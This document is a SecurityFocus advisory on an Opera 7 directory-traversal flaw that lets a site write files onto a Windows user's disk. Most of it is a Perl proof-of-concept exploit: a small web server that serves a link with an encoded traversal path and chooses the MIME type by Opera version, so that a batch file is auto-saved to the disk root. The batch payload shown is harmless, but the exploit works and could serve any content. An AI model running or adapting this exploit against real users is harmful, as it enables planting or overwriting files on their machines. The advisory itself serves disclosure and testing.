source: https://www.securityfocus.com/bid/9279/info

Opera is prone to a file corruption vulnerability. This issue is exposed when a user is presented with a file dialog, which will cause the creation of a temporary file. It is possible to specify a relative path to another file on the system using directory traversal sequences when the download dialog is displayed. If the client user has write permissions to the attacker-specified file, it will be corrupted.

This could be exploited to delete sensitive files on the systems. It is not currently known if this could be used to trojan files on the system.

This issue was reported in Opera for Windows platforms. It is not known whether other platforms are also affected. 

#!/usr/bin/perl
##################################################
#
# Sample code of
#   "[Opera 7] Arbitrary File Auto-Saved Vulnerability."
#   
#   This Exploit will run a webserver that will create and execute a batch 
#   file on the victim's computer when visiting this malicious server
#
#   This perl script is a small HTTP server for a check ofthe vulnerability.
#   BTW, you can exploit this vulnerability without a server like this 
#   if your apache or etc., allow a request URL that contains '..'.
#
# Tested on :
#   Opera 7.22
#   Opera 7.21
#   Opera 7.20
#   Opera 7.1X
#   Opera 7.0X
#
#   with Active Perl 5.8.0 on Windows 2000 Pro SP4 JP.
#   (maybe need Perl 5.6 or later)
#
# Usage :
#  [0] Execute "perl this_script 10080" on a console,
#      this server starts to listen in port 10080.
#  [1] Opera opens "http://127.0.0.1:10080/".
#  [2] Click link.
#  [3] Auto-saved an arbitrary file on a root directory
#      of Local Disk ...
#
# 2003/11/15
# written by nesumin <nesumin softhome net>
# public on www.k-otik.com
#
###################################################
use HTTP::Daemon;
use HTTP::Status;

use constant URL => '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C_opera_.bat';

use constant FILE_CONTENT => qq~\@echo off\x0D\x0Aecho "Love & Peace :-)"\x0D\x0A\@pause~;
use constant RES_HEADERS => qw(Pragma no-cache Connection close);
use constant REUSE => 1;
use constant VIEW_DATA => 0;


my @MIMETYPES = qw(
application/x-opera-configuration-keyboard
application/x-opera-configuration-menu
application/x-opera-configuration-mouse
application/x-opera-configuration-toolbar
application/x-opera-configuration-skin
application/x-opera-skin
);
my $port = ($ARGV[0] || 10080) + 0;
die("port is not correct") unless (0 < $port && $port < 65536);

my $daemon = new HTTP::Daemon(LocalPort=>$port, Reuse=>REUSE)
or die("HTTP::Daemon->new() error : $!.\n");
select(STDERR);
printf("[*] server started on %d.\n", $daemon->sockport());

while (my $ccon = $daemon->accept()) {
printf("[*] incoming client : from %s:%d(%08X).\n",
 inet_ntoa($ccon->peeraddr()), $ccon->peerport(), $ccon);
if (my $req = $ccon->get_request()) {
 print("\n[*] request received...\n", map{" >>  $_\n"}
  ($req->as_string() =~ /^([^\r\n]+)/mg)) if (VIEW_DATA);
 if ($req->method eq 'GET') {
  my $url = URL;
  my $res = new HTTP::Response(200, 'OK', new HTTP::Headers(RES_HEADERS));
  $res->protocol("HTTP/1.0");
  if ($req->url->path eq '/') {
   $res->header('Content-type'=>'text/html');
   $res->content(qq~<a href="$url">Click here</a>~);
  
  } else {

   my $mimetype = $MIMETYPES[rand(@MIMETYPES)];
   if ($req->header('User-Agent')=~m~Opera[\s+/]((\d\.\d)\d)~i){
    # Opera 7.0x
    if ($2 eq "7.0") {
     $url .= '*.zip';# '*' is a special char :-)
     $mimetype = $MIMETYPES[$#MIMETYPES];
    # Opera 7.22
    } elsif ($1 eq "7.22") {
     $mimetype = $MIMETYPES[rand(@MIMETYPES-2)];
    }
   }

   $res->header('Content-type'=>$mimetype);
   $res->content(FILE_CONTENT);
  }
  $ccon->send_response($res);
  print("\n[*] response sent...\n", map{" >>  $_\n"}
   ($res->as_string() =~ /^([^\r\n]+)/mg)) if (VIEW_DATA);
 } else {
  $ccon->send_error(RC_METHOD_NOT_ALLOWED);
 }
}
printf("[*] client closed : from %s:%d (%08X).\n",
 inet_ntoa($ccon->peeraddr()), $ccon->peerport(), $ccon);
$ccon->close();
undef($ccon);
}
print("[*] server closed.\n");
$daemon->close();
undef($daemon);